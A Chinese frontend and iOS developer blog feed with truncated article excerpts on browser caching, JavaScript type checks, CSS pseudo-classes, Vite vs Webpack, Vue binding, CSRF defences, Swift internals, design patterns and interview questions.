Service Worker 是运行在浏览器背后的独立线程，一般可以用来实现缓存功能。使用 Service Worker的话，传输协议必须为 HTTPS。因为 Service Worker 中涉及到请求拦截，所以必须使用 HTTPS 协议来保障安全。Service Worker 的缓存与浏览器其他内建的缓存机制不同，它可以让我们自由控制缓存哪些文件、如何匹配缓存、如何读取缓存，并且缓存是持续性的。

Service Worker 实现缓存功能一般分为三个步骤：首先需要先注册 Service Worker，然后监听到 install 事件以后就可以缓存需要的文件，那么在下次用户访问的时候就可以通过拦截请求的方式查询是否存在缓存，存在缓存的话就可以直接读取缓存文件，否则就去请求数据。

当 Service Worker 没有命中缓存的时候，我们需要去调用 fetch 函数获取数据。也就是说，如果我们没有在 Service Worker 命中缓存的话，会根据缓存查找优先级去查找数据。但是不管我们是从 Memory Cache 中还是从网络请求中获取的数据，浏览器都会显示我们是从 Service Worker 中获取的内容。

2.Memory Cache

Memory Cache 也就是内存中的缓存，主要包含的是当前中页面中已经抓取到的资源,例如页面上已经下载的样式、脚本、图片等。读取内存中的数据肯定比磁盘快,内存缓存虽然读取高效，可是缓存持续性很短，会随着进程的释放而释放。 一旦我们关闭 Tab 页面，内存中的缓存也就被释放了。

那么既然内存缓存这么高效，我们是不是能让数据都存放在内存中呢？ 这是不可能的。计算机中的内存一定比硬盘容量小得多，操作系统需要精打细算内存的使用，所以能让我们使用的内存必然不多。

当我们访问过页面以后，再次刷新页面，可以发现很多数据都来自于内存缓存

内存缓存中有一块重要的缓存资源是preloader相关指令（例如<link rel="prefetch">）下载的资源。总所周知preloader的相关指令已经是页面优化的常见手段之一，它可以一边解析js/css文件，一边网络请求下一个资源。

需要注意的事情是，内存缓存在缓存资源时并不关心返回资源的HTTP缓存头Cache-Control是什么值，同时资源的匹配也并非仅仅是对URL做匹配，还可能会对Content-Type，CORS等其他特征做校验。

3.Disk Cache

Disk Cache 也就是存储在硬盘中的缓存，读取速度慢点，但是什么都能存储到磁盘中，比之 Memory Cache 胜在容量和存储时效性上。

类型判断

Mon, 04 Nov 2024 00:00:00 +0800

JS中的类型判断也是咱的老朋友了，如果要你说两句，那便是啥玩意typeof、instanceof的，张口就来，但你真的掌握了每一种类型判断，并熟知其原理吗？就比如说Object.prototype.toString.call()，当面试官问其中的 call有什么作用时，咱们又该如何游说呢。

typeof原理

所有的类型判断里当属typeof最为经典，其最为出名之处就是这玩意不顶用，typeof居然会将null判定为object，但这到底是什么原因？实际上，这就是JS这门编程语言的官方团队造出来的一个bug。

let s = '123'
let n = 123
let f = true
let u = undefined
let nu = null
let sy = Symbol(123)
let big = 1234n
let obj = {}
let arr = []
let fn = function(){}
let date = new Date();

console.log(typeof(s)); // string
console.log(typeof(n)); // number
console.log(typeof(f)) // boolean
console.log(typeof(u)) // undifined
console.log(typeof(sy)) // symbol
console.log(typeof(big)) // bigint

console.log(typeof(nu)); //将null判断为object

//以下为引用类型，除了function，一律被判断为object
console.log(typeof(obj)) //object
console.log(typeof(arr)) //object
console.log(typeof(date)) //object

// 所有引用类型只能判断function
console.log(typeof(fn)) //function

//

原因就是：typeof会把所有传进去的值都转成二进制，而当年JS制定的规则便是：原始类型的被转为二进制的前面三个值绝对不为零，而typeof会把前三位为零的类型全部认定为对象，null这个类型又是JS语言后来引入的。遵循其他语言的原则，JS语言将null的二进制值定为一长串的0，因此typeof在判断时会将其认定为object。

因此，面试官一般不会询问判断方法 typeof 的原理。

手写一个instanceof

相较于typeof，instanceof有其优越之处，也有其不足之处，比如，instanceof只能判断引用类型，并且是通过原型链查找来判断类型。

let s = '123'
let n = 123
let f = true
let u = undefined
let nu = null
let sy = Symbol(123)
let big = 1234n
let obj = {}
let arr = []
let fn = function(){}
let date = new Date();

console.log(s instanceof String); // false instanceof 不能判断原始类型

// 以下为引用类型

console.log(obj instanceof Object) ; // true
console.log(arr instanceof Object); // true
console.log(fn instanceof Function); // true
console.log(date instanceof Date); // true

首先要知道每个类型的原型都不相同。

伪类和伪元素

Tue, 08 Oct 2024 00:00:00 +0800

什么是伪类和伪元素？

伪类：以冒号(:)开头，用于选择处于特定状态的元素。
伪元素：以双冒号(::)开头，用于在文档中插入虚构的元素。

这么说有点抽象，我们来看具体案例。例如下面的伪类语法表达的意思是：文档里的那些已经被用户访问过的 a 标签，当鼠标悬浮在它上面的时候，颜色为红色。

a:visited:hover {
 color: red;
}

效果如下：

可以看到，无论是 visited还是 hover，都表示了 a 标签的某种状态，选择器始终选择的是伪类前面的元素，只不过当出现伪类描述的状态时，样式才生效而已。

注意，上面使用的是无痕浏览器打开的页面，是不可能出现 visited 状态的，因为无痕不记录访问历史，我们可以点击控制台的 :hov 图标手动勾选 :visited 和 :hover 来模拟 a 标签「已访问」和「悬浮」两种状态。

我们再来看一下伪元素的案例，下面的语法表达的意思是： div 标签里面首字的颜色为红色。

div::first-letter {
 color: red;
}

效果如下：

与伪类不同的是，首字并不是 div 元素的某种状态，而是浏览器创建出来的一个虚拟的元素，我们可以在上图的右下角看到 Pseudo ::first-letter element提示，相当于浏览器自动选中了「彻」字。

注意：::first-letter 伪元素只作用于块状元素上面，如果把 div 换成 span，就无法选中首字了，除非手动设置 span 的 display 属性为 block 或 inline-block 等块状值。

从上面的案例当中，我们可以得出两个结论：

伪类用于向某些已经存在的选择器添加特殊效果（当状态改变时）
伪元素用于将特殊效果添加到不存在的虚拟元素中（浏览器自动创建）

也就是说伪类的本质还是类（class），作用于标签本身，只不过限定了状态条件；而伪元素的本质是元素（element），作用于该虚拟元素的内容本身。

伪类有哪些？

按照功能，可划分为以下几类：

动态伪类：:visited、:focus、:hover等
状态伪类：:disabled、:empty、:required 等
结构伪类：:first-child、:nth-of-type等
其他伪类：:target、:lang、:not()等

下面的表格详细记录了各种伪类及其描述：

伪类	描述	兼容性
`:active`	元素处于活动状态时	✅
`:focus`	元素已获取焦点时	✅
`:hover`	元素处于悬浮状态时	✅
`:link`	链接未访问时	✅
`:visited`	链接已访问时	✅
`:first-child`	元素是首个子元素时	✅
`:last-child`	元素是最后一个子元素时	✅
`:nth-child()`	元素是第 n 个子元素时	✅
`:nth-last-child()`	元素是倒数第 n 个子元素时	✅
`:only-child`	元素是唯一子元素时	✅
`:first-of-type`	元素是首个特定类型的子元素时	✅
`:last-of-type`	元素是最后一个特定类型的子元素时	✅
`:nth-of-type()`	元素是第 n 个特定类型的子元素时	✅
`:nth-last-of-type()`	元素是倒数第 n 个特定类型的子元素时	✅
`:only-of-type`	元素是唯一的特定类型的子元素时	✅
`:not`	不满足指定条件时	✅
`:target`	元素 id 匹配到哈希值时	✅
`:root`	元素是文档树的根元素时	✅
`:lang()`	匹配到指定语言时	✅
`:empty`	元素处于没有子元素状态时	✅
`:invalid` 和 `:valid`	表单项是否有效	✅
`:required` 和 `:optional`	表单项是否必填	✅
`:in-range`和 `:out-of-range`	表单项是否超出范围	✅
`:read-only`和 `:read-write`	表单项是否只读	✅
`:enabled`和 `:disabled`	表单项是否禁用	✅
`:fullscreen`	当前处于全屏显示模式时	⚠️
`:blank`	输入框处于输入为空状态时	❌
`:dir()`	匹配到特定文字书写方向时	❌

上表中的兼容性表示：

Webpack与Vite

Sat, 05 Oct 2024 00:00:00 +0800

前言

vite比webpack快？

vite比webpack简单？

今天我们就来分析一下，到底有什么不一样的地方！

定位

对比之前，我们先要搞懂，vite与webpack的定位以及关系才可以。

那前端社区中常谈到的这些工具webpack、rollup、parcel、esbuild、vite、vue-cli、create-react-app、umi他们之间的关系是怎样的。

webpack、rollup、parcel、esbuild都是打包工具，代码写好之后，我们需要对代码进行压缩、合并、转换、分割、打包等操作，这些工作需要打包工具去完成。
vue-cli、create-react-app、umi 是基于webpack的上层封装，通过简单的配置就可以快速创建出一个项目，把更多的时间放在业务开发上。
vite开发环境依赖esbuild进行预构建，生产环境则依赖rollup进行打包，并且充分利用了现代浏览器的特性，比如http2、ES module，vite是站在众多巨人肩膀上的一个产物，类似webpack + webpack-dev-server的结合体，是一个非常棒的前端项目的构建工具。

运行原理

首先，我们从运行原理上分析一下，vite为什么比webpack快。

webpack运行原理

当我们使用webpack启动项目时，webpack会根据我们配置文件（webpack.config.js）中的入口文件（entry），分析出项目项目所有依赖关系，然后打包成一个文件（bundle.js），交给浏览器去加载渲染。

这样就会带来一个问题，项目越大，需要打包的东西越多，启动时间越长。

关于ES module

在讲vite运行原理之前，我们先说一下ES module

目前，绝大多数现代浏览器都已经支持ES module了，我们只需要在<script>标签中添加type="module"，就可以使用ES module了。

下面这段代码是可以直接在浏览器中运行的。

// test.js
export default function hello() {
  console.log('hello world');
}

// index.html
<script type="module">
  import hello from './test.js';

  hello(); // hello world
</scirpt>

vite运行原理

在<script type="module">中，浏览器遇到内部的import引用时，会自动发起http请求，去加载对应的模块。

vite也正是利用了ES module这个特性，使用vite运行项目时，首先会用esbuild进行预构建，将所有模块转换为es module，不需要对我们整个项目进行编译打包，而是在浏览器需要加载某个模块时，拦截浏览器发出的请求，根据请求进行按需编译，然后返回给浏览器。

这样一来，首次启动项目（冷启动）时，自然也就比webpack快很多了，并且项目大小对vite启动速度的影响也很小。

构建方式

我们再来看一下，vite与webpack在项目构建上有哪些区别。

webpack

webpack是基于nodejs运行的，但js只能单线程运行，无法利用多核CPU的优势，当项目越来越大时，构建速度也就越来越慢了。

vite

vite预构建与按需编译的过程，都是使用esbuild完成的。

esbuild是用go语言编写的，可以充分利用多核CPU的优势，所以vite开发环境下的预构建与按需编译速度，都是非常快的。

http2

vite充分利用了http2可以并发请求的优势，这也是速度快的一个主要原因。接下来，我们了解一下http2的来龙去脉。

在之前http1的时候，浏览器对同一个域名的请求，是有并发限制的，一般为6个，如果并发请求6个以上，就会造成阻塞问题，所以在http1的时代，我们要减少打包产物的文件数量，减少并发请求，来提高项目的加载速度。

2015年以后，http2出现了，他可以并发发送多个请求，不会出现http1的并发限制。这时候，将打包产物分成多个小模块，并行去加载，反而会更快。

vite也充分利用了这一优势，对项目资源进行了合理的拆分，访问项目时，同时加载多个模块，来提升项目访问速度。

热更新

vite速度快的另一个原因是与webpack不同的热更新机制。

数据绑定

Fri, 04 Oct 2024 00:00:00 +0800

1. 定义

1.1 双向绑定 & 单向绑定

vue的双向绑定，即数据与视图的响应式设计。具体表现为：View的改变能实时让Model发生变化，而Model的变化也能实时更新View。

什么情况下用户可以更新View呢？如：填写表单。当用户填写表单时，View的状态就被更新了，如果此时MVVM框架可以自动更新Model的状态，那就相当于把Model和View做了双向绑定。

注意区别：单向数据绑定，所有数据只有一份，一旦数据变化，就去更新页面(只有data–>DOM，没有DOM–>data)。

用户在页面作出更新，需要用户手动收集(双向绑定是自动收集)，在合并到原有的数据中。

Vue.js中的v-model主要用在表单的input输入框，完成视图和数据的双向绑定：

<!DOCTYPE html>
<html>
<head></head>
<body>
 <div id="app">
 <input type="text" v-model="message">
 <p>{{message}}</p>
 </div>
 <script>
 var app = new Vue({
 el: '#app',
 data: {
 message: ''
 }
 });
 </script>
</body>
</html>

1.2 v-model来添加双向绑定

<input v-model="xxx">

<!-- 上面的代码等价于 -->
<input :value="xxx" @input="xxx = $event.target.value">
<!-- 双向绑定 = 单向绑定 + UI事件监听 -->

1.3 双向绑定、单向绑定的优缺点

单向绑定：数据流也是单向的，对于复杂应用来说是实施统一状态管理（如redux）的前提。
双向绑定：在一些需要实时反应用户输入的场合会非常方便（如多级联动菜单）。但常认为复杂应用中这种便利比不上引入状态管理带来的优势。因为不知道状态什么时候发生改变，是谁造成的改变，数据变更也不会通知。

响应式的思路：mvvm Model，View，View-Model

2. 原理概述

Vue 数据双向绑定原理是通过 数据劫持 + 发布者-订阅者模式 的方式来实现的，首先是通过 ES5 提供的 Object.defineProperty() 方法来劫持（监听）各属性的 getter、setter，并在当监听的属性发生变动时通知订阅者，是否需要更新，若更新就会执行对应的更新函数。详见 vue源码。

CSRF攻击

Wed, 02 Oct 2024 00:00:00 +0800

CSRF是什么

CSRF（Cross-site request forgery）跨站请求伪造：攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求，利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。

一个典型的CSRF攻击有着如下的流程：

受害者登录a.com，并保留了登录凭证（Cookie）。
攻击者引诱受害者访问了b.com。
b.com 向 a.com 发送请求。
a.com接收到请求后，对请求进行验证，并确认是受害者的凭证，误以为是受害者自己发送的请求。
a.com以受害者的名义执行了这个请求。
攻击完成，攻击者在受害者不知情的情况下，冒充受害者，让a.com执行了自己定义的操作。

CSRF的特点

攻击一般发起在第三方网站，而不是被攻击的网站。被攻击的网站无法防止攻击发生
攻击利用受害者在被攻击网站的登录凭证，冒充受害者提交操作；而不是直接窃取数据
整个过程攻击者并不能获取到受害者的登录凭证，仅仅是“冒用”
跨站请求可以用各种方式：图片URL、超链接、CORS、Form提交等等。

如何进行预防

CSRF通常从第三方网站发起，被攻击的网站无法防止攻击发生，只能通过增强自己网站针对CSRF的防护能力来提升安全性。

防止csrf常用方案如下：

阻止不明外域的访问
同源检测
Samesite Cookie
提交时要求附加本域才能获取的信息
CSRF Token
双重Cookie验证

同源检测

Cookie的同源和浏览器的同源策略有所区别：

浏览器同源策略：协议、域名和端口都相同即同源；
Cookie同源策略：域名相同即同源；

在HTTP协议中，每个异步请求都会携带两个header,用来标记来源域名：

Origin Header
Referer Header

这两个Header在浏览器发起请求时，大多数情况会自动带上，并且不能由前端修改，服务器接收到后可以根据这两个Header确定来源的域名；

综上所述： 同源验证是一个相对简单的防范方法，能够防范绝大多数的CSRF攻击。但这并不是万无一失的，对于安全性要求较高，或者有较多用户输入内容的网站，我们就要对关键的接口做额外的防护措施。

Samesite Cookie属性

在Chrome 51版本后，浏览器的 Cookie 新增加了一个SameSite属性，用来防止 CSRF 攻击。

Cookie的Samesite属性用来限制第三方Cookie, 从而减少安全风险，它有三个值：

Set-Cookie: SameSite = Strict;
Set-Cookie: SameSite = Lax;
Set-Cookie: SameSite = None;

Strict： 最为严格，完全禁止第三方Cookie, 跨站点时，任何情况都不发送Cookie;

Lax： 限制稍微宽松，大多数情况下时不发送第三方Cookie的，除了a链接、预加载请求和GET表单；

None： 关闭SameSite属性，但必须同时设置Secure属性，

模版字符串

Wed, 02 Oct 2024 00:00:00 +0800

未见过的函数用法：

function fun(strings,params1){
 console.log(strings);
 console.log(params1)
}

fun`params1 = ${333}`
// 输出分别为
// ['params1 = ', '']
// 333

不知道各位在学习或开发中有没有遇到过这样的函数调用方式呢？秉承着我没遇到的东西就要发文章来分享分享的原则，经过我查阅资料并加以学习，就让本文来带大家了解一下JS中的标签函数吧。

模板字符串

标签函数的主要作用就是处理模板字符串，所以在了解标签函数之前先了解一下模板字符串（模板字面量）吧。

基本用法

模板字符串是ES6新增的使用模板字面量定义字符串的能力，用反引号```````` 进行分隔。与使用''或""的定义的字符串字面量不同是模板字面量保留换行字符，可以跨行定义字符串。例如：

let str1 = 'xxhh\n2233'
let str2 = `xxhh
2233`
console.log(str1 === str2) // 结果为true

要注意的是模板字符串中的所有字符都会包含在字符串中，特别在使用缩进的时候，缩进的空格都会包含在字符串中。

let str = `
 <div>
 <h1>xxhh</h1>
 </div>
`
console.log(str.length) // 结果为44，包含了缩进所产出的所有空格

字符串插值

在没有模板字符串时，我们通常会使用+加法运算符来进行字符串的拼接，但有了模板字符串后我们并可通过插值占位符${}来将各字面量、变量或表达式结果来进行拼接，这样可以更容易地创建复杂和动态的字符串，同时保持代码的可读性和简洁性。这是模板字符串最常用的一个特性。

let name = 'xxhh';
let str1 = "name:"+name;
let str2 = `name:${name}`;
console.log(str1,str2) // name:xxhh name:xxhh
console.log(str1 === str2) // true

要注意的是使用字符串插值的所有插入的值都会使用toString()强制转型为字符串，而且任何JavaScript 表达式都可以用于插值。

DOCTYPE

Tue, 24 Sep 2024 00:00:00 +0800

DOCTYPE 是一个声明，位于 HTML 文档的最顶部，指示浏览器使用哪种 HTML 或 XHTML 版本来渲染页面。它的主要作用是确保浏览器以标准模式解析文档，从而避免不同浏览器间的渲染差异。正确使用 DOCTYPE 可以提升页面的兼容性和可访问性。

<!DOCTYPE>声明应该位于HTML文档的第一行，紧接着是<html>标签。

例如，对于 HTML5 文档，你只需写：

<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <title>Document Title</title>
</head>
<body>
 <!-- 页面内容 -->
</body>
</html>

这个声明告诉浏览器该文档是一个HTML5文档。HTML5是最新的HTML标准，它包括了许多现代化的功能，如语义元素、表单控件、音频和视频等。

DOCTYPE 的作用有以下几个方面：

指定 HTML 版本：浏览器根据 DOCTYPE 的声明来确定使用哪个 HTML 版本来渲染页面，从而保证页面在不同的浏览器上显示一致性。
触发标准模式：在 HTML 中，如果省略了 DOCTYPE 声明，浏览器会进入混杂模式（Quirks mode），这种模式下浏览器的渲染方式与早期的浏览器相同，可能导致页面的显示出现不可预测的错误。而指定了 DOCTYPE 声明，则会触发标准模式（Standards mode），使得浏览器按照 HTML 规范的要求进行页面渲染，从而保证页面的稳定性和可靠性。
供浏览器和开发人员参考：DOCTYPE 声明还包含了有关 HTML 文档的元信息，例如所使用的 DTD（文档类型定义），以及其他的元数据信息，这些信息可以供浏览器和开发人员参考，帮助开发人员更好地了解和掌握 HTML 语言的特点和规范。
提高网页加载速度：指定 DOCTYPE 声明可以帮助浏览器更快地加载网页，因为浏览器知道要使用哪种渲染模式，从而更快地解析 HTML 文档。
避免代码错误：指定 DOCTYPE 声明可以帮助开发人员在编写 HTML 代码时遵循标准，避免一些常见的代码错误，例如忘记关闭标签或者使用非法的属性和元素等等。

除了HTML5的<!DOCTYPE>声明之外，还有一些其他版本的HTML和XHTML文档类型声明。这里是一些例子：

1. HTML 4.01 Strict：

Claude Code 源码导读：Agent 设计详解

Sun, 21 Jun 2026 22:41:52 +0800

Claude Code 的 agent 到底是怎么被设计成一个能长时间工作、能分派子 agent、能记忆、能压缩上下文、也能可靠停下来的系统的？

Claude Code 最值得研究的地方，不是它“能调用工具”，而是它把模型、工具、记忆、上下文、后台任务、hook 和权限系统编成了一个稳定的 agent harness。

一句话概括：Claude Code 的 agent 不是一个模型循环，而是三层循环叠在一起：主 query 循环负责推理和工具回灌；工具循环负责受控执行和并发；任务循环负责子 agent、后台 agent、记忆整理和长任务生命周期。

flowchart TD
User["用户输入 / 队列消息"] --> Query["query.ts 主循环"]
Query --> Model["流式模型调用"]
Model -->|没有 tool_use| StopPath["停止路径
stop hooks / token budget / completed"]
Model -->|产生 tool_use| ToolLoop["工具执行循环"]
ToolLoop --> Attach["附件注入
记忆 / 变更文件 / 任务通知 / 技能"]
Attach --> Query
Query --> Compact["上下文治理
tool budget / microcompact / autocompact / reactive compact"]
Query --> Memory["记忆系统
CLAUDE.md / AutoMem / Session Memory"]
Query --> AgentTool["AgentTool"]
AgentTool --> SubAgent["runAgent 子循环"]
SubAgent --> LocalTask["LocalAgentTask
前台 / 后台 / 可恢复"]
LocalTask --> Attach

一、核心源码地图

先把关键文件放在桌面上：

Swift 面试：值语义、COW 与集合源码解析

Tue, 16 Jun 2026 09:06:27 +0800

Swift 面试：值语义、COW 与集合源码解析

Swift 的 Array、String、Dictionary 都表现为值类型，但它们不可能每次赋值都完整复制底层存储。面试官问值语义和 COW，真正想看的是你能不能说清楚：值语义是语言语义，COW 是性能实现；集合表面是 struct，底层经常共享引用存储；写入前靠唯一性检查决定是否复制。

这篇文章从面试题出发，把结论落到 Swift 标准库源码里的 Array buffer、String guts、Dictionary storage 和 isKnownUniquelyReferenced。

面试高频问题

Swift 的 struct 为什么常说是值语义？
Array 赋值时一定会复制底层元素吗？
Copy-on-Write 的触发条件是什么？
isKnownUniquelyReferenced 检查的到底是什么？
Array、ContiguousArray、ArrayBuffer、Storage 是什么关系？
String 为什么不能用整数下标随机访问？
String.Index 为什么不是一个简单的 Int？
Dictionary 也是 COW 吗？
ArraySlice 为什么可能持有原数组存储？
值类型里包含 class 引用，还算值语义吗？

30 秒回答版

Swift 的值语义是说：从语言使用者角度看，赋值、传参、修改不会意外影响另一个值。但这不等于底层每次都立即复制。

标准库集合通常用 Copy-on-Write 实现：多个值可以共享同一份堆上 buffer；只有当某个值要写入时，才检查底层 buffer 是否唯一引用。如果唯一，就原地修改；如果不唯一，就复制一份新 buffer 再修改。

所以：

值语义：用户看到的是独立值
COW：实现上先共享，写入前再判断是否复制
ARC：维护底层 buffer 的引用计数
isUnique：让 COW 判断能否原地修改

面试可以这样回答：

Swift 的 Array 是 struct，但它内部持有引用语义的 storage。赋值时通常只复制结构体里的引用；真正写入时通过唯一性检查决定是否复制底层 storage。这让 Array 同时具备值语义和接近引用共享的性能。

Codable底层原理

Mon, 08 Jun 2026 23:06:52 +0800

Codable 是 Swift 4 引入的序列化方案，官方定位是替代 Objective-C 时代的 NSCoding、以及各种第三方字典转模型框架（MJExtension、YYModel、JSONModel 等）。与运行时反射方案不同，Codable 通过"编译器自动合成 + 标准库协议抽象 + 具体格式实现"三层解耦，在编译期就把类型与序列化逻辑绑定好，兼具类型安全、性能和扩展性。

本文基于以下 Swift 源码展开分析：

协议定义：swift/stdlib/public/core/Codable.swift
编译器合成：swift/lib/Sema/DerivedConformanceCodable.cpp、DerivedConformanceCodingKey.cpp
Foundation 实现：swift-corelibs-foundation/Sources/Foundation/JSONEncoder.swift、JSONDecoder.swift、PropertyListEncoder.swift

整体架构

在开始深入之前，先建立整体印象。Codable 可以拆成三层角色：

用户类型层：业务中的 struct / class / enum，声明遵循 Codable
标准库与编译器层：标准库定义 Encodable / Decodable / Encoder / Decoder 等协议，编译器为符合条件的类型合成 encode(to:) 和 init(from:)
格式实现层：Foundation 或第三方提供具体 Encoder / Decoder，负责把容器操作落到 JSON、Plist、BSON 等格式上

flowchart LR
subgraph L1[用户类型层]
A[struct / class / enum
声明遵循 Codable]
end
subgraph L2[标准库与编译器层]
B[Encodable / Decodable
协议要求]
C["编译器合成
encode(to:) / init(from:)"]
D[Encoder / Decoder
容器协议]
B --> C
C --> D
end
subgraph L3[格式实现层]
E[JSONEncoder / JSONDecoder
PropertyListEncoder / 第三方实现]
F[Data / 字符串 / 其他格式]
E --> F
end
A -->|conforms to| B
D -->|由具体类型实现| E

核心思想是：标准库只定义"如何描述一个可编码类型"和"编码器需要提供什么能力"，具体的格式（JSON、Plist、BSON…）由 Foundation 或第三方实现。用户类型只需要遵循协议，剩下的由编译器在 SIL 层自动生成。

React Native 详解

Sat, 02 May 2026 22:32:27 +0800

React Native 是 Meta 2015 年开源的跨平台框架，用 JavaScript/TypeScript 写一份业务代码，在 iOS 和 Android 上渲染出真正的原生控件（UIView / android.view.View），而不是像 Flutter 那样自绘，也不是像 H5 那样跑在 WebView 里。经过 2018~2024 年的"新架构"大重构，RN 在 0.76 让 New Architecture（Fabric + TurboModules + JSI + Codegen + Bridgeless）成为默认，并在 0.82（2025 年 10 月）彻底告别旧的 Bridge 时代——这是 RN 十年来最大的一次范式迁移。

对 iOS 开发者而言，RN 的定位很特殊：UI 仍然是 UIKit，但控制 UI 的大脑换成了 JS。这让它一方面拥有"原生 Look & Feel“的天然优势（iOS 26 Liquid Glass 不用等框架跟进），另一方面又背负着”JS/原生边界抖动“的原罪。在 AI Coding 时代，RN 凭借 Web 生态庞大的训练语料和 Expo 工具链成为 LLM 生成代码正确率最高的移动框架，但 JSI 的 C++ 层和 Bridgeless 的新调试链路也让"AI 修 Bug"变得比以前更难。

SOLID原则

Sat, 02 May 2026 22:32:27 +0800

概述

SOLID 是面向对象设计的五大基本原则的首字母缩写，由 Robert C. Martin（Uncle Bob）在 2000 年代初期提出。这五个原则是构建可维护、可扩展软件的基础，在 iOS 开发中同样适用。

字母	原则	英文名称
S	单一职责原则	Single Responsibility Principle
O	开放封闭原则	Open-Closed Principle
L	里氏替换原则	Liskov Substitution Principle
I	接口隔离原则	Interface Segregation Principle
D	依赖倒置原则	Dependency Inversion Principle

单一职责原则（Single Responsibility Principle, SRP）

定义

A class should have one, and only one, reason to change. 一个类应该只有一个引起它变化的原因。

原则解读

单一职责原则要求每个类只负责一项职责。这里的"职责"可以理解为"变化的原因"——如果你能想到多于一个的原因去改变一个类，那么这个类就有多于一个的职责。

核心思想：将不同的关注点分离，使每个模块只专注于做好一件事。

解决的问题

1. 代码耦合度高

当一个类承担多个职责时，这些职责会相互依赖、相互影响。修改其中一个职责的代码，可能会无意中破坏另一个职责的功能。

2. 难以复用

如果一个类混合了多个职责，当你只想使用其中一个职责时，不得不引入整个类及其所有依赖。

3. 维护困难

职责混杂的类通常代码量大、逻辑复杂，理解和修改都很困难。不同职责的代码交织在一起，修改一处可能产生意想不到的连锁反应。

4. 测试复杂

WebView底层原理

Sat, 02 May 2026 22:32:27 +0800

前言

iOS 上的 WebView 目前以 WKWebView 为事实标准。它对外表现得像一个 UIView 子类，但内部其实对接着整个 WebKit 引擎——一个由多个独立进程协作的庞大系统。日常开发中遇到的那些困扰：为什么 Web 页白屏不会把 App 带崩？为什么 Cookie 和 App 自身的 NSHTTPCookieStorage 总是对不上？为什么 JS 调用 Native 永远是异步？为什么 NSURLProtocol 拦不到 WKWebView 的请求？这些问题单看 API 都得不到答案，必须下潜到 WebKit 源码里才能看清楚。

好在 WebKit 是 Apple 官方开源的项目，仓库在 github.com/WebKit/WebKit。本文基于其 Source/ 目录下的公开源码，按"源码地图 → 多进程架构 → 各进程职责 → 全链路串联 → 工程启示"的顺序，把 WKWebView 从创建到渲染一帧的底层机制梳理清楚。

一、先看源码地图

阅读源码前，先在脑子里建立目录结构。以 WebKit/WebKit 仓库的 Source/ 目录为例：

Source/
├── JavaScriptCore/ # JS 引擎（解释器、JIT 编译器、GC）
├── WebCore/ # 渲染引擎核心（DOM、CSSOM、Layout、Paint）
├── WebKit/ # 多进程框架 + Cocoa 层 API
│ ├── UIProcess/ # 主进程侧（App 进程）
│ │ ├── API/Cocoa/ # WKWebView.mm、WKProcessPool.mm 等
│ │ ├── API/ios/ # WKWebViewIOS.mm
│ │ ├── ios/ # WKContentView.mm、WebPageProxyIOS.mm
│ │ └── ...
│ ├── WebProcess/ # 渲染进程侧（WebContent）
│ ├── NetworkProcess/ # 独立网络进程
│ ├── GPUProcess/ # 独立 GPU 进程
│ └── Shared/ # 跨进程共享的数据结构、IPC 消息定义
└── WTF/ # 基础容器、线程、字符串工具库

日常 iOS 开发能看到的 WKWebView，对应的实现就在 Source/WebKit/UIProcess/API/Cocoa/WKWebView.mm。它是一个 Objective-C++ 文件，内部只是持有一个 C++ 的 WebPageProxy 对象，几乎所有实际工作都转发给它。为什么要这样设计？原因就藏在下一节要讲的多进程架构里。

命令模式

Sat, 02 May 2026 22:32:27 +0800

定义

命令模式（Command Pattern）是一种行为型设计模式，它将请求封装成对象，从而可以用不同的请求对客户进行参数化，对请求排队或记录请求日志，以及支持可撤销的操作。

命令模式的核心思想是：将"请求"封装成一个对象，使得可以用不同的请求、队列或日志来参数化其他对象，同时支持可撤销操作。

为什么需要命令模式

命令模式要解决的核心问题是：将请求（操作）封装成对象，使得可以对请求进行存储、传递、撤销等操作。

问题场景：假设我们正在开发一个文本编辑器，需要支持撤销/重做功能。

最直接的方式可能是这样：

class TextEditor {
 var text: String = ""

 func insertText(_ newText: String, at position: Int) {
 let index = text.index(text.startIndex, offsetBy: position)
 text.insert(contentsOf: newText, at: index)
 }

 func deleteText(from start: Int, length: Int) {
 let startIndex = text.index(text.startIndex, offsetBy: start)
 let endIndex = text.index(startIndex, offsetBy: length)
 text.removeSubrange(startIndex..<endIndex)
 }
}

// 用户操作
let editor = TextEditor()
editor.insertText("Hello", at: 0)
editor.insertText(" World", at: 5)
editor.deleteText(from: 5, length: 6)

// 如何实现撤销？需要记住每次操作的类型、参数、以及如何逆向执行
// 这变得非常复杂...

这种方式有什么问题？

小红书-社招-3年 · 第 3 轮 · 技术面试

Sun, 01 Feb 2026 14:42:08 +0000

← 第 2 轮 · 返回本次面经 · 已是最后一轮 →

本轮概述： 这一轮主要考察了小程序的低代码设计架构、Web Worker的使用、中台系统的微前端拆分策略等方面的知识。

本轮共 4 道题。答案默认折叠，便于先自行作答。

1. 讲一下你关于小程序的低代码设计架构

题目要点

小程序低代码架构本质是配置驱动的运行时体系，核心包括 DSL 协议设计、组件注册机制、运行时解析与数据驱动更新；必须围绕 setData 性能约束进行差量更新与渲染优化；工程重点不在编辑器，而在运行时引擎的性能治理与扩展能力设计。

参考答案

小程序的低代码架构，本质是在受限运行环境下实现“可配置驱动 UI 与逻辑”。核心不是拖拽能力，而是如何让页面结构、交互逻辑、数据流都由配置驱动，同时保证性能与可维护性。

一、整体架构分层

小程序低代码一般分为四层：

编辑层 → DSL 层 → 运行时引擎 → 渲染层

编辑层负责产出结构化配置；DSL 层定义组件树与属性协议；运行时负责解析与调度；渲染层落在小程序原生组件体系之上（如 WXML + setData 机制，在微信小程序中即运行于其渲染框架内）。

关键问题在于：小程序不是虚拟 DOM 模型，而是逻辑层与视图层分离，通过 JSON 数据桥接，因此架构必须围绕数据驱动。

二、DSL 设计

DSL 通常采用 JSON Schema 形式，核心包含：

组件类型
属性 props
样式
事件绑定
数据源
条件显示规则

低代码的关键在于“协议稳定性”，一旦 DSL 设计混乱，后续扩展成本会极高。因此会设计：

组件注册机制
属性校验规则
默认值策略
版本兼容策略

三、运行时引擎

运行时是核心。

http方法

Sat, 26 Jul 2025 00:00:00 +0800

HTTP 协议中定义了多种 请求方法（HTTP Methods），用于客户端和服务器之间进行不同的操作。

一、常用的 HTTP 方法

方法	是否幂等	是否安全	说明
GET	✅ 幂等	✅ 安全	获取资源。请求参数放在 URL 上。不会对资源产生副作用。
POST	❌ 非幂等	❌ 不安全	提交数据（如表单、上传），可能导致资源变化或创建。
